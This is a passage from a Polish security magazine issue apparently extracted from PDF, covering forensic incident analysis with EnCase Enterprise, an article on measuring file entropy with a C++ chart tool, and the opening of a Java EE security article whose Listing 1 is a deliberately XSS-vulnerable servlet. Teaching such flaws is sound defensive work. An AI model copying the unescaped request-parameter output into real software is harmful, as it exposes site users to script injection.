lub ukryte.

Analiza incydentów

Zastosowanie platformy dalekie
jest od tradycyjnego podejścia.
Analiza incydentów w odpowiedzi
na różnego typu alerty (np. nie-
potwierdzone plotki), jak w przy-

kładzie powyżej, wymaga jedynie
znajomości adresu IP podejrza-
nego. W zamieszczonym poniżej
zrzucie ekranu przedstawiono do-
wód na posiadanie przez pracow-
nika danych kredytobiorców.

Zdalna analiza spełnia przy tym

wymagania informatyki śledczej, za-
braniające jakiejkolwiek ingerencji
w materiał dowodowy. Odnaleziony
materiał może zostać zdalnie zabez-
pieczony i autentyfikowany za pomo-
cą sumy kontrolnej. Tworzący się au-
tomatycznie raport może stanowić
protokół zabezpieczania. Zgodnie z
wymogami Normy, wystąpienie ta-
kiego incydentu (A.13.2.2) powinno
pociągnąć za sobą badanie rozmia-
rów problemu. Zwyczajowo, jedyną
możliwością jest rozległy audyt sys-
temu i wprowadzenie dodatkowych
zaleceń. W przypadku EE wystarczy
stworzenie odpowiedniej kweren-
dy, zadanie zapytania do całej sieci
i otrzymanie raportu skali.

Problem danych osobowych nie

jest jednak największym, który mo-
że wystąpić w rozległej sieci. Znacz-
nie bardziej skomplikowane i czaso-
chłonne są analizy szkodliwych apli-
kacji, zwłaszcza tych ukrywających
się, typu HOOK lub DKOM. Wykrycie
incydentu, wobec bezbronności pro-
gramów antywirusowych, jest trud-
ne i na ogół przypadkowe. Wymaga-
na jest izolacja zainfekowanego śro-
dowiska i żmudne usuwanie szkodli-
wych kodów. Poniżej przedstawiono
analizę procesów (snapshot) w EE,
wśród których znajduje się rootkit
Hacker Defender
. Ze względu na tryb
pracy servletu ukryte procesy (rów-
nież injected drivers, DLLe oraz ukry-
te połączenia IP) są widoczne z po-
ziomu examinera.

Ta funkcjonalność pozwala na

analizę zasobów dynamicznych, po-

W Sieci

http://www.mediarecovery.pl,
http://www.forensictools.pl,
http://www.guidancesoftware.com,
http://pl.wikipedia.org/wiki/Informatyka_%C5%9Bledcza.

Rysunek 2.

Analiza skali incydentu

background image

Informatyka śledcza

hakin9 Nr 3/2008

www.hakin9.org

57

równywanie ich ze wzorcem (opisa-
nym za pomocą hashy) i wykrywanie
zmian w obrębie całej sieci. Mając ta-
kie możliwości łatwiej zidentyfikować
nieoczekiwane procesy. Tak jak w po-
przednim przykładzie, łatwa jest rów-
nież ocena ich skali, a nawet remedia-
cja wybranych elementów w obrębie
sieci (niszczenie ujawnionych doku-
mentów, zabijanie procesów), w tym
również automatycznie w ramach de-
finicji odpowiedzi na incydenty.

Określone w Normie (A10.4) obo-

wiązki dotyczące złośliwego oprogra-
mowania w przypadku EE oznaczają

możliwość stworzenia zasad syste-
mów (profili), dzięki którym inspekcja
może być znacznie łatwiejsza i szyb-
ka nawet w skali korporacji. Sprzęże-
nie platformy z BIT9 (międzynarodo-
wa baza hashy) daje możliwość prze-
szukiwania uruchomionych procesów
w obrębie zasobów i odnajdywania
tych niepożądanych.

Podsumowanie

Każda organizacja przygotowana na
zagrożenia musi posiadać w swoim
systemie bezpieczeństwa nie tylko
rozwiązania prewencyjne, ale rów-

nież pozwalające na przejęcie i opa-
nowanie incydentu po jego wystąpie-
niu, także w aspekcie zgromadzenia
dowodów o wartości odpowiedniej
dla postępowań przed sądem. Infor-
matyka Śledcza pozwala wypełnić
tę lukę i przygotować odpowiednie
narzędzia oraz procedury również
w mniejszej niż EnCase Enterprise
skali. Przedstawiona skrótowo plat-
forma śledcza jest jednak rozwiąza-
niem kompleksowym, przeznaczo-
nym dla dużych firm i instytucji, w
których istnieją lub są wdrażane za-
sady bezpieczeństwa oparte na po-
wszechnych wzorcach (SOX, ISO).
Jego konstrukcja daje nowe spojrze-
nie na bezpieczeństwo informacji,
umożliwia badania najbardziej zło-
żonych incydentów, a także wypeł-
nia wiele normatyw przytoczonych
norm (prewencja, inspekcja, audyt).
Przyszłością bezpieczeństwa infor-
macji jest integracja z tego typu sys-
temami. l

O autorze

Przemysław Knejza. Lat 33, EnCE, Dyrektor ds. badań i rozwoju w Mediareco-
very, największej polskiej firmie świadczącej profesjonalne usługi informatyki
śledczej (computer forensics). Prawnik, informatyk. Wcześniej 8 lat na stano-
wisku zarządzania działem odzyskiwania danych w firmie Ontrack. Autor publi-
kacji na tematy związane z odzyskiwaniem danych i informatyką śledczą. Ma
córeczkę. W wolnych chwilach słucha Floydów.
Kontakt z autorem: biuro@mediarecovery.pl

Rysunek 3.

Analiza incydentu – rootkit hacker defender (HXDEF100)

background image

www.hakin9.org

hakin9 Nr 3/2008

58

Obrona

N

a początek trochę teorii, czyli matema-
tyczna definicja entropii omawianej w
dalszej części tego artykułu: entropia

jest funkcją pewnego ciągu danych, którą moż-
na wyrazić jako sumę iloczynów prawdopodo-
bieństw wystąpienia danego znaku oraz ilości
jego wystąpień w ciągu danych. W pseudoko-
dzie obliczanie entropii wygląda następująco:

entropia = 0
dla każdego znaku 'i' w danym alfabecie:
entropia = entropia + p(i) * ilość(i)

gdzie p(i) to prawdopodobieństwo wystąpie-
nia znaku i w danym zbiorze danych, a ilość(i)
to ilość jego wystąpień w tym ciągu. Tak zde-
finiowana entropia przyjmuje wartości od 1 do
wielkości równej co do wartości ilości znaków
w ciągu.

Tyle teorii. W praktyce alfabetem są zazwy-

czaj wszystkie znaki ASCII (konkretnie wszyst-
kie 256 wartości, które może przyjąć jeden bajt),
a ciąg danych to po prostu pewne dane binarne,
których entropię chcemy zmierzyć – na przykład
plik. Jeżeli chodzi o praktyczne wartości zwra-
cane przez funkcję entropii, to wyobraźmy sobie
dwa przypadki. W pierwszym z nich załóżmy, że

mamy plik o wielkości 256 bajtów, który zawie-
ra same litery A. W takim wypadku prawdopo-
dobieństwo wystąpienia litery A jest stuprocen-
towe, a prawdopodobieństwo wystąpienia jakie-
gokolwiek innego znaku jest zerowe – tak więc
entropia będzie wynosić 1 * 100% * 256 bajtów
+ 255 * 0% * 0, czyli (pozbywając się jednostek)
256. W drugim, skrajnie przeciwnym przypadku,
wyobraźmy sobie plik, również o wielkości 256
bajtów, który zawiera wszystkie znaki ASCII (tj.
każdy możliwy znak ASCII wystąpi w nim do-
kładnie raz). Wtedy prawdopodobieństwo wy-
stąpienia każdego znaku wynosi 1 / 256, a en-
tropia będzie sumą dwustu pięćdziesięciu sze-

Entropia – pomiar

i zastosowanie

Michał Gynvael Coldwind Składnikiewicz

stopień trudności

Entropia, rozumiana jako wielkość losowości pewnych danych,

może służyć wprawnemu badaczowi jako narzędzie pomocne

w wyszukiwaniu ukrytych danych oraz interpretacji budowy

nieznanych plików. Niniejszy artykuł ma na celu przedstawić

Czytelnikowi zagadnienia związane z entropią.

Z artykułu dowiesz się

• co to jest entropia,
• jak wykorzystać pomiary entropii do lokalizo-

wania ukrytych danych,

• jak interpretować wykresy entropii danych.

Co powinieneś wiedzieć

• mieć ogólne pojęcie o matematyce,
• mieć ogólne pojęcie o informatyce.

background image

Entropia

hakin9 Nr 3/2008

www.hakin9.org

59

ściu iloczynów 1 / 256 * 1 bajt, co
sprowadzi się do 256 / 256 czyli po
prostu do entropii równej jeden.

Zatem entropia jest średnią wa-

żoną prawdopodobieństw wystąpień
każdego ze znaków ASCII w okre-
ślonym ciągu danych. Należy zauwa-
żyć, że czym mniejsza wartość entro-
pii w powyższym przypadku, tym wię-
cej rodzajów znaków zostało użytych.
Pojawia się pytanie – czy są jakieś
charakterystyczne wartości (lub ich
przedziały) entropii dla różnego ro-
dzaju danych? Przed przejściem do
odpowiedzi na to pytanie należy jesz-
cze powiedzieć dwie rzeczy.

Po pierwsze, wartość entropii NIE

ZALEŻY od kolejności wystąpień da-
nych znaków w ciągu, a jedynie od ich
ilości oraz całkowitej długości ciągu
(można jednak temu prosto zaradzić
wyliczając na przykład entropię z cią-
gu różnic kolejnych bajtów lub wyko-
nując bardziej skomplikowane trans-
formacje). Po drugie, entropia wyra-
żana w skali od 1 do długości ciągu
wydaje się być mało wygodna, dlate-
go w dalszej części artykułu posługi-
wać się będę entropią wyrażoną pro-
centowo. Przekształcenie na wynik
procentowy uzyskać można korzy-
stając z prostego wzoru:

Entropia = (1 - Entropia / Długość_

Ciągu) * 100%

Tak więc entropia 0% oznaczać bę-
dzie stały ciąg (na przykład sa-
me literki A), a entropia na poziomie
99,9% (100% nigdy tak naprawdę
nie osiągnie) – ciąg całkowicie loso-
wy. Dodatkowo można jeszcze pod-
nieść uzyskaną wartość do kwadra-

tu, aby zwiększyć różnicę między
poszczególnymi (górnymi) pozioma-
mi entropii.

Rodzaj danych a entropia

Okazuje się że poziom entropii różne-
go rodzaju danych różni się od siebie.
Tak więc tekst w języku naturalnym bę-
dzie miał inny poziom entropii niż kod
maszynowy, a ten z kolei będzie miał
inny poziom entropii niż skompresowa-
ne dane. Przeanalizujmy poszczególne
przypadki. Tekst w języku naturalnym
zawiera w sobie jedynie niewielki wy-
cinek całego alfabetu ASCII. Przykła-
dowo do napisania niniejszego artykułu
wystarczyły jedynie małe i wielkie lite-
ry łacińskie, małe i wielkie polskie znaki
diakrytyczne oraz pewne znaki specjal-
ne, takie jak kropka, nawias czy znak
pusty (spacja).

Tekst w języku naturalnym ma

zazwyczaj entropię na poziomie od
94,5% do 95,3%, a entropię^2 na po-
ziomie od 87% do 92%. Należy zazna-
czyć, że entropia ta może być niższa w
przypadku, gdy dane słowo (lub jakaś
jego część) często się powtarza – na
przykład w wierszach/tekstach piose-
nek lub jako często używany prefiks
nazwy obiektu w programie. Kolejnym
rodzajem danych może być kod ma-

szynowy, czyli skompilowany asem-
bler
. Entropia kodu maszynowego za-
leży w dużej części od rodzaju opera-
cji, które są w analizowanym fragmen-
cie wykonywane. Przykładowo oblicze-
nia arytmetyczne (ADD, SUB, DIV etc.)
mają inne opkody (ang. opcode) niż ob-
liczenia wykonywane na koprocesorze
(FADD etc.), a te z kolei różnią się od
opkodów instrukcji kontrolujących prze-
bieg aplikacji (JMP, TEST, CMP, JNZ
etc.). Tak więc ciąg, w którym program
wykonuje jedynie obliczenia na kopro-
cesorze, będzie miał niższą entropię
niż ciąg, w którym jest wszystkiego po
trochu. Kod maszynowy charakteryzu-
je się entropią na poziomie od 80% do
98%, a entropią^2 na poziomie od 64%
do 97%.

W przypadku skompresowanych

danych sprawa jest prostsza, ponieważ
istotą kompresji jest dążenie do upako-
wania jak największej ilości informacji
w jak najmniejszej ilości bajtów, co wy-
musza znaczny wzrost entropii wzglę-
dem oryginału. Dokładny poziom entro-
pii zależy od algorytmu kompresji, jed-
nak prawdopodobnie będzie on na po-
ziomie od około 99% wzwyż (czyli en-
tropia^2 będzie na poziomie około 98%
wzwyż). Ostatnim ciekawym przypad-
kiem są wszelkiego rodzaju protoko-
ły oraz formaty binarne (takie, jak na
przykład format symboli debugge-
ra czy format nagłówków sekcji plików
wykonywalnych). Dane w nich są wy-
soce uporządkowane, zazwyczaj skła-
dają się z offsetów, adresów i tym po-
dobnych rzeczy, a także (co każdy pro-
gramista oraz reverse engineer dobrze
wie) znajduje się w nich bardzo dużo
zer (zer binarnych – znaków ASCII o
kodzie 0). Tego typu dane mają entro-
pię na poziomie od 40% do 75%, a en-
tropię^2 na poziomie od 16% do 55%.
Pomiar entropii innych rodzajów da-

Rysunek 1.

Porównanie entropii programu z danymi jawnymi oraz

zaszyfrowanymi

Rysunek 2.

Wykres entropii^2 dla pliku calc.exe

background image

hakin9 Nr3/2008

www.hakin9.org

Obrona

60

nych pozostawiam Czytelnikowi jako
zadanie domowe.

Szyfrowanie a entropia

Entropia zaszyfrowanego ciągu da-
nych, w zależności od użytego algoryt-
mu szyfrowania, może się w ogóle nie
zmienić, lub znacznie wzrosnąć.

Pierwszy przypadek jest często

spotykany w przypadku algorytmów, w
których jeden znak jest zamieniany na
inny – tak, jak w przypadku szyfru Ce-
zara lub w części automatycznie gene-
rowanych algorytmów używanych do
szyfrowania kodu w plikach wykony-
walnych. Takie algorytmy, zazwyczaj
trywialne, zbudowane są z szeregu od-
wracalnych instrukcji arytmetyczno-lo-
gicznych – takich jak ADD, SUB, ROR,
ROL, XOR, INC czy DEC – oraz korzy-
stają ze stałego, jednobajtowego klu-
cza, który jest argumentem poszcze-
gólnych instrukcji. Należy zauważyć, iż
w wypadku takich algorytmów zmienią
się kody poszczególnych znaków, na-
tomimast pary prawdopodobieństwa
oraz ilości wystąpień pozostaną stałe,
w związku z czym entropia nie ulegnie
zmianie (jako, że we wzorze na entro-
pie kod znaku nie ma znaczenia).

W przypadku algorytmów, które

szyfrują całe bloki informacji lub szy-
frują strumieniowo, ale w których istot-
ne jest miejsce wystąpienia znaku (tj. w
których A na pozycji trzeciej zostanie
inaczej zaszyfrowane niż A na pozycji
czwartej) poziom entropii się zmieni. W
przypadku większości algorytmów szy-
frowania bezpiecznie jest powiedzieć
nawet, że entropia wzrośnie do pozio-
mu 98% lub więcej (a entropia^2 do po-
ziomu 96% lub więcej).

Z powyższych faktów płyną dwa

bardzo ważne dla nas wnioski. Po
pierwsze, w przypadku gdy ktoś pró-
buje ukryć (na przykład w pliku wyko-
nywalnym) zaszyfrowane dane nietry-
wialnym algorytmem, wykres entro-
pii pozwoli błyskawicznie zlokalizować
miejsce ukrycia tychże danych.

Po drugie, w przypadku gdy wie-

my, że jakieś dane są zaszyfrowane,
ale ich poziom entropii jest stosunko-
wo niski (na przykład około 88%), to
wywnioskować można, że dane te zo-
stały zaszyfrowane trywialnym algo-
rytmem zamieniającym poszczególne
znaki na ich zakodowane odpowiedniki
(co oznacza również, że taki algorytm
podatny jest na atak za pomocą anali-
zy statystycznej). Na Rysunku 1. przed-
stawione są 3 programy. W pierwszym
(licząc od lewej) występuje pewna ilość
danych, która jest jawna (niezaszyfro-
wana). W drugim dane te zostały za-
szyfrowane trywialnym algorytmem
(XOR), a w trzecim – nietrywialnym al-
gorytmem (co spowodowało znaczny
wzrost entropii).

Zastosowanie

pomiaru entropii

Pomiar entropii stosować można
przede wszystkim w inżynierii wstecz-
nej (ang. reverse engineering) podczas
analizy plików wykonywalnych. W ta-
kim przypadku najlepiej jest utworzyć
wykres entropii kolejnych fragmentów
(na przykład 256-bajtowych) pliku. Ta-
ki wykres może ułatwić zrozumienie
budowy pliku, pomóc w lokalizacji po-
szczególnych składników pliku wyko-
nywalnego, a także powiedzieć co nie-
co o jego zawartości dodatkowej (ukry-
te dane, ikony, bitmapy). Przykładowo
Rysunek 2 przedstawia wykres entro-
pii głównego pliku wykonywalnego kal-
kulatora dołączonego do Windows XP,
stworzony za pomocą programu z Li-

Listing 1a.

Program tworzący wykresy entropii

//

Entropy

Chart

Drawer

"ent"

// Code by gynvael.coldwind//vx

#include

<cstdio>

#include

<cstdlib>

#include

<cstring>

using

namespace

std

;

// Typedef

typedef

unsigned

char

byte_t

;

// Naglowek TGA

#pragma pack(push, 1)

static

struct

TGA_HEADER

{

byte_t

id_field

,

c_map

,

img_type

,

color_map

[

5

];

unsigned

short

x_origin

,

y_origin

,

width

,

height

;

byte_t

bpp

,

flip

;

}

TgaHeader

=

{

0

,

0

,

2

,

{

0

,

0

,

0

,

0

,

0

}

,

0

,

0

,

0

,

0

,

24

,

0x20

}

;

#pragma pack(pop)

// Dane globalne

static

int

Height

=

480

,

Width

;

// Pobierz dane z pliku

byte_t

*

FileGetContent

(

const

char

*

FileName

,

size_t

*

SizePtr

)

{

byte_t

*

Data

;

size_t

Size

;

FILE

*

f

=

fopen

(

FileName

,

"rb"

);

if

(!

f

)

return

NULL

;

fseek

(

f

,

0

,

SEEK_END

);

Size

=

ftell

(

f

);

fseek

(

f

,

0

,

SEEK_SET

);

Data

=

(

byte_t

*)

malloc

(

Size

);

if

(!

Data

)

{

fclose

(

f

);

return

NULL

;

}

fread

(

Data

,

1

,

Size

,

f

);

fclose

(

f

);

*

SizePtr

=

Size

;

return

Data

;

}

// Wrzuc dane do pliku

bool

FileSetContent

(

const

char

*

FileName

,

const

byte_t

*

Data

,

size_t

Size

)

{

FILE

*

f

=

fopen

(

FileName

,

"wb"

);

if

(!

f

)

return

false

;

fwrite

(

Data

,

1

,

Size

,

f

);

fclose

(

f

);

return

true

;

}

// Stworz histogram

Rysunek 3.

Wykres entropii^2 dla

pliku calc.exe spakowanego UPX'em

background image

Entropia

hakin9 Nr 3/2008

www.hakin9.org

61

stingu 1. Wykres został podzielony na
5 części (A, B, C, D oraz E). Pierw-
sza część (A) odzwierciedla nagłówki
MZ oraz PE – wyraźnie na niej widać
niską, zmienną entropię. Druga część
(B), stanowiąca największą część wy-
kresu, przedstawia entropię sekcji ko-
du (.text) kalkulatora. Cześć trzecia (C)
to tablica importów – widać na wykre-
sie wyraźny spadek entropii (z uwagi
na uporządkowaną strukturę oraz dużą
ilość zer). Cześć czwarta (D) to zasoby
pliku PE, a konkretnie ikony zawarte w
zasobach. Ostatnia część (E) to reszta
zasobów – menu, tablica stringów oraz
akceleratory. Dla porównania Rysunek
3 przedstawia wykres entropii tego sa-
mego pliku, ale po zastosowaniu pake-
ra UPX (jest to program kompresujący
pliki wykonywalne, ale do takiej postaci,
że można je nadal uruchamiać – roz-
pakowują się one w locie podczas uru-
chomienia). Na wykresie wyraźnie wi-
dać obszar, w którym entropia wzrosła
(kompresja kodu). Zasoby pliku najwy-
raźniej nie zostały skompresowane.

Pomiar entropii można wykorzy-

stać również w systemach detekcji za-
chowań anormalnych (na przykład w
protokołach sieciowych) lub w syste-
mach wykrywających ukryte dane, a
także przy analizie nieznanych forma-
tów plików, szczególnie stosujących
kompresję bądź szyfrowanie (lokaliza-
cja danych oraz nagłówków).

Podsumowanie

Artykuł ten stanowi jedynie wstęp do
zagadnień związanych z wykorzysta-
niem pomiaru entropii danych w inży-
nierii wstecznej. Gorąco zachęcam
Czytelników do eksperymentów zwią-
zanych z pomiarem entropii oraz, być
może, nawet podzielenia się wynikami
na łamach hakin9. l

Listing 1b.

Program tworzący wykresy entropii

void

MakeHistogram

(

const

byte _ t

*

Data

,

size _ t

Size

,

int

Ar-

ray

[

256

])

{

size_t

i

;

memset

(

Array

,

0

,

sizeof

(

int

)

*

256

);

for

(

i

=

0

;

i

<

Size

;

i

++)

Array

[

Data

[

i

]]++;

}

// Wylicz entropie

double

GetEntropy

(

const

byte_t

*

Data

,

int

Size

)

{

int

Array

[

256

];

int

i

;

double

Entropy

=

0.0

;

MakeHistogram

(

Data

,

Size

,

Array

);

for

(

i

=

0

;

i

<

256

;

i

++)

Entropy

+=

((

double

)

Array

[

i

]

/

Size

)

*

(

double

)

Array

[

i

];

return

Entropy

;

}

// Funkcja rysujaca pionowa linie

void

DrawLine

(

byte_t

*

Bitmap

,

int

x

,

int

LineHeight

,

byte_t

R

,

byte_t

G

,

byte_t

B

)

{

byte_t

PixelColor

[

3

]

=

{

R

,

G

,

B

}

;

int

i

;

for

(

i

=

Height

-

1

;

i

>=

LineHeight

;

i

--)

memcpy

(

Bitmap

+

(

i

*

Width

+

x

)

*

3

,

PixelColor

,

3

);

}

// Funkcja glowna

int

main

(

int

argc

,

char

**

argv

)

{

int

SampleLength

=

256

;

// Sprawdz argumenty

if

(

argc

<

2

)

{

fprintf

(

stderr

,

"usage: ent <FileName> [<SampleLength>]

\n

"

"SampleLength is 256 bytes by default

\n

"

);

return

1

;

}

if

(

argc

==

3

)

SampleLength

=

atoi

(

argv

[

2

]);

// Pobierz dane

byte_t

*

BitmapData

,

*

OutputData

;

byte_t

*

Data

;

size_t

FileSize

,

Sz

,

i

;

Data

=

FileGetContent

(

argv

[

1

]

,

&

FileSize

);

if

(!

Data

)

{

fprintf

(

stderr

,

"Error! File not found!

\n

"

);

return

2

;

}

// Zaalokuj pamiec dla bitmapy

Sz

=

FileSize

-

SampleLength

;

Listing 1c.

Program tworzący wykresy entropii

Width

=

FileSize

/

SampleLength

;

OutputData

=

(

byte_t

*)

malloc

(

sizeof

(

TgaHeader

)

+

Width

*

Height

*

3

);

BitmapData

=

OutputData

+

sizeof

(

TgaHeader

);

memset

(

BitmapData

,

0xff

,

Width

*

Height

*

3

);

int

cnt

=

0

;

// Narysuj wykres

for

(

i

=

0

;

i

<

Sz

;

i

+=

SampleLength

,

cnt

++)

{

int

hi

;

double

ent

=

GetEntropy

(&

Data

[

i

]

,

SampleLength

);

ent

=

1.0

-

(

ent

/

SampleLength

);

// ent = ent * ent;

hi

=

(

int

)((

1.0

-

ent

)

*

(

float

)

Height

);

ent

*=

100.0

;

printf

(

"%.8x - %.8x: %.5f%%

\n

"

,

i

,

i

+

SampleLength

,

ent

);

if

(

ent

>=

98.0

)

DrawLine

(

BitmapData

,

cnt

,

hi

,

0

,

0

,

(

byte_t

)(

ent

*

2.55

) );

else

if

(

ent

>=

81.0

)

DrawLine

(

BitmapData

,

cnt

,

hi

,

(

byte_t

)(

ent

*

2.125

)

,

0

,

0

);

else

if

(

ent

>=

60.0

)

DrawLine

(

BitmapData

,

cnt

,

hi

,

0

,

(

byte_t

)(

ent

*

2.55

)

,

0

);

else

DrawLine

(

BitmapData

,

cnt

,

hi

,

(

byte_t

)(

ent

*

2.55

)

,

0

,

(

byte_t

)(

ent

*

2.55

)

);

}

// Zapisz bitmape

char

Name

[

512

];

snprintf

(

Name

,

sizeof

(

Name

)

,

"%s.tga"

,

argv

[

1

]);

TgaHeader

.

width

=

Width

;

TgaHeader

.

height

=

Height

;

memcpy

(

OutputData

,

&

TgaHeader

,

sizeof

(

TgaHeader

));

FileSetContent

(

Name

,

OutputData

,

Width

*

Height

*

3

+

sizeof

(

TgaHeader

));

// Uwolnij dane

free

(

Data

);

free

(

OutputData

);

return

0

;

}

O autorze

Michał Składnikiewicz, inżynier infor-
matyki, ma wieloletnie doświadczenie
jako programista oraz reverse engine-
er
. Obecnie jest koordynatorem dzia-
łu analiz w międzynarodowej firmie
specjalizującej się w bezpieczeństwie
komputerowym.
Kontakt z autorem:
gynvael@coldwind.pl

background image

www.hakin9.org

hakin9 Nr 3/2008

62

Obrona

O

pisy luk w popularnych rozwiązaniach
mnożą się z dnia na dzień. Niezliczo-
ne artykuły, książki i filmy ukazujące

podatności występujące na stronach opartych
np. o PHP i MySQL stały się już standardem.
Dokładnie tak samo jest w drugą stronę – niezli-
czone wywody, dotyczące obrony naszych apli-
kacji internetowych i sposobów powstrzymy-
wania intruzów, podstępnie atakują nas każde-
go dnia z półek w księgarniach. Jednak w więk-
szości przypadków publikacje te dotyczą jedy-
nie rozwiązań popularnych i ogólnodostępnych.
Rzadko pojawiają się materiały dotyczące obro-
ny aplikacji napisanych np. w JEE czy .NET.
Czemu tak się dzieje? Odpowiedź na to pytanie
jest banalnie prosta – chodzi o dotarcie do jak
największej grupy potencjalnych odbiorców. Jak
wiadomo, większość domowych stron interneto-
wych czy niedochodowych witryn tematycznych
oparta jest głównie na PHP/MySQL i to właśnie
te technologie cieszą się największym zaintere-
sowaniem potencjalnych włamywaczy. Techniki
– często bardziej zaawansowane – wykorzysty-
wane w dużych projektach na zlecenie różnego
rodzaju firm, korporacji czy banków pozostają
w cieniu. Idealnym przykładem jest tutaj JEE,
niewątpliwie ciekawa i potężna platforma pro-

gramistyczna. Oczywiście nie chciałbym tutaj
umniejszać niewątpliwych zalet PHP. Osobiście
jednak uważam, że warto poświęcić trochę cza-
su na przyswojenie informacji odnośnie innych
języków, aby w późniejszej pracy jako specja-
lista ds. bezpieczeństwa móc spojrzeć na da-
ny problem bardziej abstrakcyjnie. Ten artykuł

Bezpieczeństwo w Javie

Piotr Łaskawiec

stopień trudności

Znajomość wielu zróżnicowanych technologii jest obecnie

niezbędna w pracy specjalisty ds. bezpieczeństwa. Trzeba

posiadać wiedzę nie tylko z zakresu popularnych rozwiązań, ale

także specjalistycznych narzędzi i platform programistycznych.

Taką specjalistyczną platformą jest opisana w tym artykule Java

Enterprise Edition.

Z artykułu dowiesz się

• czym jest JEE,
• jakie błędy występują w programach pisanych

pod JEE,

• jak bronić się przed atakami na nasze aplika-

cje,

• jak zminimalizować ryzyko wystąpienia ewen-

tualnych błędów.

Co powinieneś wiedzieć

• znać język programowania Java w stopniu śred-

nio-zaawansowanym,

• znać podstawowe sposoby ataków na aplikacje

internetowe,

• mieć doświadczenie w pisaniu aplikacji interne-

towych.

background image

Bezpieczna Java

hakin9 Nr 3/2008

www.hakin9.org

63

ma na celu zwrócenie uwagi na bez-
pieczeństwo w aplikacjach komercyj-
nych pisanych w Javie.

Czym jest JavaEE?

Warto zacząć od przybliżenia te-
go niezwykle ciekawego projek-
tu. W tym artykule będziemy odno-
sić się głównie do aplikacji pisanych
w JEE. Wbrew dość popularnej opinii,
JEE (Java Enterpise Edition) nie jest
niezależnym językiem. Jest to ściśle
określony zbiór praktyk i standardów
pomocnych w tworzeniu aplikacji biz-
nesowych. JEE bazuje na języku Ja-
va. Dodatkowo oferuje cały szereg
komponentów, które mają gwaranto-
wać stabilną i szybką budowę aplika-
cji działających po stronie serwera.
JEE zapewnia wsparcie takim tech-
nologiom, jak:

• JSP – Java Server Pages,
• servlety,
• EJB – Enterprise Java Beans,
• JDBC – Java DatabaseConnecti-

vity,

• XML,
• wiele, wiele innych.

Obecnie Java Enterprise Edition ma
już ugruntowaną pozycję na rynku.
Jej głównym rywalem jest platforma
.NET, z którą Java usilnie walczy o
prym w sektorze aplikacji webowych.
W tym artykule będziemy zajmować
się głównie bezpieczeństwem apli-
kacji opartych na architekturze we-
bowej i związanymi z nimi dwiema
wcześniej wymienionymi technolo-
giami – servletami i JSP.

JEE – potrzeba

bezpieczeństwa

Zanim przejdziemy do konkretnych
przykładów ukazujących błędy w pro-
gramach pisanych zgodnie z JEE, war-
to zastanowić się nad teoretycznymi
aspektami bezpieczeństwa. Należy
pomyśleć, czy w ogóle warto zajmo-
wać się bezpieczeństwem tej techno-
logii i czy jest to sprawa kluczowa dla
użytkowników korzystających z do-
brodziejstw JEE. W obu przypadkach
odpowiedź jest twierdząca. Aplikacje
tworzone w oparciu o JEE kierowa-
ne są głównie do dużych firm, korpo-
racji, banków i wszystkich innych insty-
tucji, w których w grę wchodzą ogrom-
ne pieniądze. Jak łatwo się domyślić,
wraz z pojawieniem się dużego kapi-

tału rośnie potrzeba zapewnienia od-
powiedniego poziomu bezpieczeń-
stwa. W Enterprise Edition nie piszemy
stron domowych, prostych serwisów
czy niezbyt wyszukanych programów,
które mogą działać lub nie. Aplikacje
w JEE muszą cechować się szybko-
ścią, niezawodnością i wysokim pozio-
mem bezpieczeństwa, ponieważ czę-
sto operują na bardzo kosztownych da-
nych. Programiści piszący w Javie mu-
szą wystrzegać się błędów i nigdy nie
mogą lekceważyć mechanizmów za-
pewniających należyty poziom bezpie-
czeństwa – to właśnie oni odpowiadają
za przyszły wygląd szkieletu informa-
tycznego firmy, dla której wykonują zle-
cenie i to oni będą odpowiedzialni za
ewentualne udane ataki.

Inną kwestią jest swoisty strach

ludzi związanych z bezpieczeństwem
komputerowym przed nieznanymi
technologiami. Czasami widząc .jsp
jako rozszerzenie strony interneto-
wej, myślimy, że działa ona inaczej niż
strony napisane w całości np. w PHP.
Nie jesteśmy w stanie przeprowadzić
poprawnego audytu bezpieczeństwa,
ponieważ nie znamy mechanizmów
funkcjonowania takiej strony i nie po-
trafimy określić wzorców jej zacho-
wania. Ten artykuł pokazuje, że błędy
w aplikacjach internetowych są uni-
wersalne. Wraz ze zmianą języka pro-
gramowania, technologii czy wzor-

Listing 1.

Przykład kodu podatnego na XSS

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public

class

XSSVuln

extends

HttpServlet

{


public

void

doGet

(

HttpServletRequest

request

,

HttpServletResponse

response

)

throws

ServletException

,

IOException

{

response

.

setContentType

(

"text/html"

)

;

PrintWriter

out

=

response

.

getWriter

()

;

out

.

println

(

"<HTML>"

)

;

out

.

println

(

"<HEAD><TITLE>XSSVul</TITLE></HEAD>"

)

;

out

.

println

(

"<BODY>"

)

;

out

.

println

(

"XSS: "

+

request

.

getParameter

(

"no_filter"

))

;

//XSS!

out

.

println

(

"</BODY></HTML>"

)

;

}

public

void

doPost

(

HttpServletRequest

request

,

HttpServletResponse

response

)

throws

ServletException

,

IOException

{

doGet

(

request

,

response

)

;

}
}

Specyfikacje

Istnieją trzy specyfikacje stworzone przez firmę Sun Microsystems, opierające się na
języku Java.
Java Standard Edition – specyfikacja ta jest podstawą platformy Java. Jest bazą dla
JEE. Zawiera wszystkie wymagane komponenty potrzebne do budowy nowoczesnych
aplikacji. Pozwala pisać i uruchamiać aplikacje na komputerach osobistych i serwe-
rach niezależnie od używanego systemu operacyjnego.
Java Enterprise Edition – opisywana w tym artykule specyfikacja, stworzona z myślą o
aplikacjach biznesowych. W pełni wspiera tworzenie programów o architekturze wielo-
warstwowej (warstwa logiki aplikacji oddzielona jest od warstwy wizualnej).
Java Micro Edition – specyfikacja Micro Edition odnosi się do aplikacji pisanych na te-
lefony komórkowe. Ta wersja Javy jest zubożona w stosunku do specyfikacji bazowej
(Standard Edition) ze względu na ograniczone możliwości telefonów komórkowych w
zakresie alokacji pamięci i złożoności obliczeń.

background image

hakin9 Nr 3/2008

www.hakin9.org

Obrona

64

ców projektowych modyfikujemy we-
wnętrzną strukturę aplikacji, ale nie
zmieniamy jej podstawowego pozio-
mu bezpieczeństwa wynikającego
z naszych przeoczeń. Przeoczeń, któ-
re pozwalają przetestować podatność
naszej aplikacji na typowe błędy.

Popularne błędy w JEE

Wreszcie możemy przejść do sed-
na tego artykułu. Wiemy już, czym
jest JEE i dlaczego dla tej technologii
bezpieczeństwo jest wyjątkowo waż-
ne. Teraz zajmiemy się najczęstszy-
mi błędami popełnianymi przez pro-
gramistów. Błędy zostaną przedsta-
wione na przykładzie dwóch popular-
nych technologii wchodzących w skład
JEE – servletów i JSP. Technologie te
są opisane w ramce Servlety i JSP.
Należy także pamiętać, że do urucho-
mienia kodu przedstawionego na li-
